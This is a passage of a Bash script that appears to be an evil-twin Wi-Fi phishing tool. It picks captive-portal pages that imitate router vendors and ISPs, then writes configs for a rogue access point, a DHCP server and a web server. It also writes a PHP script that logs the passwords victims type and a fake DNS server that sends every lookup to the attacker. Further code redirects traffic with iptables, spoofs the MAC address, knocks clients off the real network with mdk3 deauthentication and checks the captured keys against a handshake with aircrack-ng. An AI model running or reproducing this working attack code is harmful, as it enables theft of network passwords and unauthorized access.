DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ENG DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ENG NEUTRA break elif [ "$webconf" = "2" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER DIALOG_WEB_OK=$DIALOG_WEB_OK_GER DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_GER DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_GER DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_GER DIALOG_WEB_DIR=$DIALOG_WEB_DIR_GER NEUTRA break elif [ "$webconf" = "3" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RUS DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RUS DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RUS DIALOG_WEB_OK=$DIALOG_WEB_OK_RUS DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_RUS DIALOG_WEB_BACK=$DIALOG_WEB_BACK_RUS DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_RUS DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_RUS DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_RUS DIALOG_WEB_DIR=$DIALOG_WEB_DIR_RUS NEUTRA break elif [ "$webconf" = "4" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT DIALOG_WEB_OK=$DIALOG_WEB_OK_IT DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_IT DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_IT DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_IT DIALOG_WEB_DIR=$DIALOG_WEB_DIR_IT NEUTRA break elif [ "$webconf" = "5" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ESP DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ESP DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ESP DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ESP NEUTRA break elif [ "$webconf" = "6" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR DIALOG_WEB_OK=$DIALOG_WEB_OK_POR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_POR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_POR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_POR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_POR NEUTRA break elif [ "$webconf" = "7" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_CN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_CN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_CN DIALOG_WEB_OK=$DIALOG_WEB_OK_CN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_CN DIALOG_WEB_BACK=$DIALOG_WEB_BACK_CN DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_CN DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_CN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_CN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_CN NEUTRA break elif [ "$webconf" = "8" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR DIALOG_WEB_OK=$DIALOG_WEB_OK_FR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_FR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_FR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_FR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_FR NEUTRA break elif [ "$webconf" = "9" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_TR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_TR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_TR DIALOG_WEB_OK=$DIALOG_WEB_OK_TR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_TR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_TR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_TR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_TR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_TR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_TR NEUTRA break elif [ "$webconf" = "10" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RO DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RO DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RO DIALOG_WEB_OK=$DIALOG_WEB_OK_RO DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_RO DIALOG_WEB_BACK=$DIALOG_WEB_BACK_RO DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_RO DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_RO DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_RO DIALOG_WEB_DIR=$DIALOG_WEB_DIR_RO NEUTRA break elif [ "$webconf" = "11" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_HU DIALOG_WEB_INFO=$DIALOG_WEB_INFO_HU DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_HU DIALOG_WEB_OK=$DIALOG_WEB_OK_HU DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_HU DIALOG_WEB_BACK=$DIALOG_WEB_BACK_HU DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_HU DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_HU DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_HU DIALOG_WEB_DIR=$DIALOG_WEB_DIR_HU NEUTRA break elif [ "$webconf" = "12" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ARA DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ARA DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ARA DIALOG_WEB_OK=$DIALOG_WEB_OK_ARA DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ARA DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ARA DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ARA DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ARA DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ARA DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ARA NEUTRA break elif [ "$webconf" = "13" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GR DIALOG_WEB_OK=$DIALOG_WEB_OK_GR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_GR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_GR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_GR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_GR NEUTRA break elif [ "$webconf" = "14" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_CZ DIALOG_WEB_INFO=$DIALOG_WEB_INFO_CZ DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_CZ DIALOG_WEB_OK=$DIALOG_WEB_OK_CZ DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_CZ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_CZ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_CZ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_CZ DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_CZ DIALOG_WEB_DIR=$DIALOG_WEB_DIR_CZ NEUTRA break elif [ "$webconf" = "15" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_NO DIALOG_WEB_INFO=$DIALOG_WEB_INFO_NO DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_NO DIALOG_WEB_OK=$DIALOG_WEB_OK_NO DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_NO DIALOG_WEB_BACK=$DIALOG_WEB_BACK_NO DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_NO DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_NO DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_NO DIALOG_WEB_DIR=$DIALOG_WEB_DIR_NO NEUTRA break elif [ "$webconf" = "16" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_BG DIALOG_WEB_INFO=$DIALOG_WEB_INFO_BG DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_BG DIALOG_WEB_OK=$DIALOG_WEB_OK_BG DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_BG DIALOG_WEB_BACK=$DIALOG_WEB_BACK_BG DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_BG DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_BG DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_BG DIALOG_WEB_DIR=$DIALOG_WEB_DIR_BG NEUTRA break elif [ "$webconf" = "17" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_SRB DIALOG_WEB_INFO=$DIALOG_WEB_INFO_SRB DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_SRB DIALOG_WEB_OK=$DIALOG_WEB_OK_SRB DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_SRB DIALOG_WEB_BACK=$DIALOG_WEB_BACK_SRB DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_SRB DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_SRB DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_SRB DIALOG_WEB_DIR=$DIALOG_WEB_DIR_SRB NEUTRA break elif [ "$webconf" = "18" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PL DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PL DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PL DIALOG_WEB_OK=$DIALOG_WEB_OK_PL DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_PL DIALOG_WEB_BACK=$DIALOG_WEB_BACK_PL DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_PL DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PL DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PL DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PL NEUTRA break elif [ "$webconf" = "19" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ID DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ID DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ID DIALOG_WEB_OK=$DIALOG_WEB_OK_ID DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ID DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ID DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ID DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ID DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ID DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ID NEUTRA break elif [ "$webconf" = "20" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_NL DIALOG_WEB_INFO=$DIALOG_WEB_INFO_NL DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_NL DIALOG_WEB_OK=$DIALOG_WEB_OK_NL DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_NL DIALOG_WEB_BACK=$DIALOG_WEB_BACK_NL DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_NL DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_NL DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_NL DIALOG_WEB_DIR=$DIALOG_WEB_DIR_NL NEUTRA break elif [ "$webconf" = 21 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_DAN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_DAN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_DAN DIALOG_WEB_OK=$DIALOG_WEB_OK_DAN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_DAN DIALOG_WEB_BACK=$DIALOG_WEB_BACK_DAN DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_DAN DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_DAN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_DAN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_DAN NEUTRA break elif [ "$webconf" = 22 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_HE DIALOG_WEB_INFO=$DIALOG_WEB_INFO_HE DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_HE DIALOG_WEB_OK=$DIALOG_WEB_OK_HE DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_HE DIALOG_WEB_BACK=$DIALOG_WEB_BACK_HE DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_HE DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_HE DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_HE DIALOG_WEB_DIR=$DIALOG_WEB_DIR_HE NEUTRA break elif [ "$webconf" = 23 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_TH DIALOG_WEB_INFO=$DIALOG_WEB_INFO_TH DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_TH DIALOG_WEB_OK=$DIALOG_WEB_OK_TH DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_TH DIALOG_WEB_BACK=$DIALOG_WEB_BACK_TH DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_TH DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_TH DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_TH DIALOG_WEB_DIR=$DIALOG_WEB_DIR_TH NEUTRA break elif [ "$webconf" = 24 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_BR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_BR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_BR DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_BR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_BR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_BR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_BR NEUTRA break elif [ "$webconf" = 25 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_SVN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_SVN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_SVN DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_SVN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_SVN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_SVN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_SVN NEUTRA SVNeak elif [ "$webconf" = "26" ]; then BELKIN break elif [ "$webconf" = "27" ]; then NETGEAR break elif [ "$webconf" = "28" ]; then HUAWEI break elif [ "$webconf" = "29" ]; then VERIZON break elif [ "$webconf" = "30" ]; then NETGEAR2 break elif [ "$webconf" = "31" ]; then ARRIS2 break elif [ "$webconf" = "32" ]; then VODAFONE break elif [ "$webconf" = "33" ]; then TPLINK break elif [ "$webconf" = "34" ]; then ZIGGO_NL break elif [ "$webconf" = "35" ]; then KPN_NL break elif [ "$webconf" = "36" ]; then ZIGGO2016_NL break elif [ "$webconf" = "37" ]; then FRITZBOX_DE break elif [ "$webconf" = "38" ]; then FRITZBOX_ENG break elif [ "$webconf" = "39" ]; then GENEXIS_DE break elif [ "$webconf" = "40" ]; then Login-Netgear break elif [ "$webconf" = "41" ]; then Login-Xfinity break elif [ "$webconf" = "42" ]; then Telekom break elif [ "$webconf" = "43" ]; then google break elif [ "$webconf" = "44" ]; then MOVISTAR_ES break elif [ "$webconf" = "45" ]; then conditional_clear webinterface break fi done fi preattack attack } # Create different settings required for the script function preattack { # Config HostAPD echo "interface=$WIFI driver=nl80211 ssid=$Host_SSID channel=$Host_CHAN" > $DUMP_PATH/hostapd.conf # Creates PHP echo "<?php error_reporting(0); \$count_my_page = (\"$DUMP_PATH/hit.txt\"); \$hits = file(\$count_my_page); \$hits[0] ++; \$fp = fopen(\$count_my_page , \"w\"); fputs(\$fp , \$hits[0]); fclose(\$fp); // Receive form Post data and Saving it in variables \$key1 = @\$_POST['key1']; // Write the name of text file where data will be store \$filename = \"$DUMP_PATH/data.txt\"; \$filename2 = \"$DUMP_PATH/status.txt\"; \$intento = \"$DUMP_PATH/intento\"; \$attemptlog = \"$DUMP_PATH/pwattempt.txt\"; // Marge all the variables with text in a single variable. \$f_data= ''.\$key1.''; \$pwlog = fopen(\$attemptlog, \"w\"); fwrite(\$pwlog, \$f_data); fwrite(\$pwlog,\"\n\"); fclose(\$pwlog); \$file = fopen(\$filename, \"w\"); fwrite(\$file, \$f_data); fwrite(\$file,\"\n\"); fclose(\$file); \$archivo = fopen(\$intento, \"w\"); fwrite(\$archivo,\"\n\"); fclose(\$archivo); while( 1 ) { if (file_get_contents( \$intento ) == 1) { header(\"Location:error.html\"); unlink(\$intento); break; } if (file_get_contents( \$intento ) == 2) { header(\"Location:final.html\"); break; } sleep(1); } ?>" > $DUMP_PATH/data/check.php # Config DHCP echo "authoritative; default-lease-time 600; max-lease-time 7200; subnet $RANG_IP.0 netmask 255.255.255.0 { option broadcast-address $RANG_IP.255; option routers $IP; option subnet-mask 255.255.255.0; option domain-name-servers $IP; range $RANG_IP.100 $RANG_IP.250; }" > $DUMP_PATH/dhcpd.conf #create an empty leases file touch $DUMP_PATH/dhcpd.leases # creates Lighttpd web-server echo "server.document-root = \"$DUMP_PATH/data/\" server.modules = ( \"mod_access\", \"mod_alias\", \"mod_accesslog\", \"mod_fastcgi\", \"mod_redirect\", \"mod_rewrite\" ) fastcgi.server = ( \".php\" => (( \"bin-path\" => \"/usr/bin/php-cgi\", \"socket\" => \"/php.socket\" ))) server.port = 80 server.pid-file = \"/var/run/lighttpd.pid\" # server.username = \"www\" # server.groupname = \"www\" mimetype.assign = ( \".html\" => \"text/html\", \".htm\" => \"text/html\", \".txt\" => \"text/plain\", \".jpg\" => \"image/jpeg\", \".png\" => \"image/png\", \".css\" => \"text/css\" ) server.error-handler-404 = \"/\" static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) index-file.names = ( \"index.htm\", \"index.html\" ) \$SERVER[\"socket\"] == \":443\" { url.redirect = ( \"^/(.*)\" => \"http://www.internet.com\") ssl.engine = \"enable\" ssl.pemfile = \"$DUMP_PATH/server.pem\" } #Redirect www.domain.com to domain.com \$HTTP[\"host\"] =~ \"^www\.(.*)$\" { url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) ssl.engine = \"enable\" ssl.pemfile = \"$DUMP_PATH/server.pem\" } " >$DUMP_PATH/lighttpd.conf # that redirects all DNS requests to the gateway echo "import socket class DNSQuery: def __init__(self, data): self.data=data self.dominio='' tipo = (ord(data[2]) >> 3) & 15 if tipo == 0: ini=12 lon=ord(data[ini]) while lon != 0: self.dominio+=data[ini+1:ini+lon+1]+'.' ini+=lon+1 lon=ord(data[ini]) def respuesta(self, ip): packet='' if self.dominio: packet+=self.data[:2] + \"\x81\x80\" packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' packet+=self.data[12:] packet+='\xc0\x0c' packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) return packet if __name__ == '__main__': ip='$IP' print 'pyminifakeDwebconfNS:: dom.query. 60 IN A %s' % ip udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udps.bind(('',53)) try: while 1: data, addr = udps.recvfrom(1024) p=DNSQuery(data) udps.sendto(p.respuesta(ip), addr) print 'Request: %s -> %s' % (p.dominio, ip) except KeyboardInterrupt: print 'Finalizando' udps.close()" > $DUMP_PATH/fakedns chmod +x $DUMP_PATH/fakedns } # Set up DHCP / WEB server # Set up DHCP / WEB server function routear { ifconfig $interfaceroutear up ifconfig $interfaceroutear $IP netmask 255.255.255.0 route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP sysctl -w net.ipv4.ip_forward=1 &>$flux_output_device iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables -P FORWARD ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443 iptables -A INPUT -p tcp --sport 443 -j ACCEPT iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT iptables -t nat -A POSTROUTING -j MASQUERADE } # Attack function attack { interfaceroutear=$WIFI handshakecheck nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) if [ "$fakeapmode" = "hostapd" ]; then ifconfig $WIFI down sleep 0.4 macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device sleep 0.4 ifconfig $WIFI up sleep 0.4 fi if [ $fakeapmode = "hostapd" ]; then killall hostapd &> $flux_output_device xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & elif [ $fakeapmode = "airbase-ng" ]; then killall airbase-ng &> $flux_output_device xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & fi sleep 5 routear & sleep 3 killall dhcpd &> $flux_output_device fuser -n tcp -k 53 67 80 &> $flux_output_device fuser -n udp -k 53 67 80 &> $flux_output_device xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -lf "$DUMP_PATH/dhcpd.leases" -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e "if type python2 >/dev/null 2>/dev/null; then python2 $DUMP_PATH/fakedns; else python $DUMP_PATH/fakedns; fi" & lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device killall aireplay-ng &> $flux_output_device killall mdk3 &> $flux_output_device echo "$Host_MAC" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & conditional_clear while true; do top echo -e ""$red"["$yellow"2"$red"]"$transparent" Attack in progress .." echo " " echo " 1) Choose another network" echo " 2) Exit" echo " " echo -n ' #> ' read yn case $yn in 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; 2 ) matartodo; exitmode; break;; * ) echo " $general_case_error"; conditional_clear ;; esac done } # Checks the validity of the password function handshakecheck { echo "#!/bin/bash echo > $DUMP_PATH/data.txt echo -n \"0\"> $DUMP_PATH/hit.txt echo "" >$DUMP_PATH/loggg tput civis clear minutos=0 horas=0 i=0 timestamp=\$(date +%s) while true; do segundos=\$i dias=\`expr \$segundos / 86400\` segundos=\`expr \$segundos % 86400\` horas=\`expr \$segundos / 3600\` segundos=\`expr \$segundos % 3600\` minutos=\`expr \$segundos / 60\` segundos=\`expr \$segundos % 60\` if [ \"\$segundos\" -le 9 ]; then is=\"0\" else is= fi if [ \"\$minutos\" -le 9 ]; then im=\"0\" else im= fi if [ \"\$horas\" -le 9 ]; then ih=\"0\" else ih= fi">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "if [ -f $DUMP_PATH/pwattempt.txt ]; then cat $DUMP_PATH/pwattempt.txt >> \"$PASSLOG_PATH/$Host_SSID-$Host_MAC.log\" rm -f $DUMP_PATH/pwattempt.txt fi if [ -f $DUMP_PATH/intento ]; then if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then echo \"2\">$DUMP_PATH/intento break else echo \"1\">$DUMP_PATH/intento fi fi">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo " if [ -f $DUMP_PATH/pwattempt.txt ]; then cat $DUMP_PATH/pwattempt.txt >> $PASSLOG_PATH/$Host_SSID-$Host_MAC.log rm -f $DUMP_PATH/pwattempt.txt fi wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & if [ -f $DUMP_PATH/intento ]; then if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then echo \"2\">$DUMP_PATH/intento break else echo \"1\">$DUMP_PATH/intento fi fi ">>$DUMP_PATH/handcheck fi echo "readarray -t CLIENTESDHCP < <(nmap -PR -sn -n -oG - $RANG_IP.100-110 2>&1 | grep Host ) echo echo -e \" ACCESS POINT:\" echo -e \" SSID............: "$white"$Host_SSID"$transparent"\" echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" echo -e \" Vendor..........: "$green"$Host_MAC_MODEL"$transparent"\" echo -e \" Operation time..: "$blue"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" echo -e \" Clients.........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | awk '{print \$5}' | sort| uniq | wc -l)"$transparent"\" echo echo -e \" CLIENTS ONLINE:\" x=0 for cliente in \"\${CLIENTESDHCP[@]}\"; do x=\$((\$x+1)) CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) CLIENTE_MAC=\$(nmap -PR -sn -n \$CLIENTE_IP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:]) if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then 